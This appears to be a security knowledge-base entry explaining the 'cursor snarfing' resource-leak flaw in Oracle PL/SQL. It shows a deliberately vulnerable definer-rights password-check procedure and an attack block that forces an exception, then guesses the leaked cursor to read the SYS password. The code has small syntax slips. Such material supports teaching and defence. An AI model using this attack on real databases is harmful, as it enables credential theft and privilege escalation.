Unreleased Resource: Cursor Snarfing

The cursor can potentially be used by a lower-privileged user.

The cursor can potentially be used to access unauthorized information.
Resource leaks have at least two common causes:

- Error conditions and other exceptional circumstances.

- Confusion over which part of the program is responsible for releasing the resource.

In SQL, cursors have the privileges associated with the code that created them. If a less privileged user can capture the leaked cursor, it can be used to view unauthorized records.

In addition, most unreleased resource issues result in general software reliability problems, but if an attacker can intentionally trigger a resource leak, the attacker may be able to launch a denial of service by depleting the resource pool.

Example: The PWD_COMPARE procedure can be used by code that does not have access to sys.dba_users to check a user's password.

CREATE or REPLACE procedure PWD_COMPARE(p_user VARCHAR, p_pwd VARCHAR)
  AUTHID DEFINED
IS
  cursor INTEGER;
  ...
BEGIN
  IF p_user != 'SYS' THEN
    cursor := DBMS_SQL.OPEN_CURSOR;
    DBMS_SQL.PARSE(cursor, 'SELECT password FROM SYS.DBA_USERS WHERE username = :u', DBMS_SQL.NATIVE);
    DBMS_SQL.BIND_VARIABLE(cursor, ':u', p_user);
    ...
  END IF;
END PWD_COMPARE;

If the attacker may cause an exception, they can capture the cursor and gain access to unauthorized information, such as the sys password. One way to cause an exception is to pass an overly long argument to p_user. After the attacker knows that the cursor has leaked, they just have to guess the cursor and assign new bind variables.

DECLARE
  x VARCHAR(32000);
  i INTEGER;
  j INTEGER;
  r INTEGER;
  password VARCHAR2(30);
BEGIN
  FOR i IN 1..10000 LOOP
    x:='b' || x;
  END LOOP;
  SYS.PWD_COMPARE(x,'password');
EXCEPTION WHEN OTHERs THEN
  FOR j IN 1..10000
    DBMS_SQL.BIND_VARIABLE(j, ':u', 'SYS');
    DBMS_SQL.DEFINE_COLUMN(j, 1, password, 30);
    r := DBMS_SQL.EXECUTE(j);
    IF DBMS_SQL.FETCH_ROWS(j) > 0 THEN
      DBMS_SQL.COLUMN_VALUE(j, 1, password);
      EXIT;
    END IF;
  END LOOP;
  ...
END;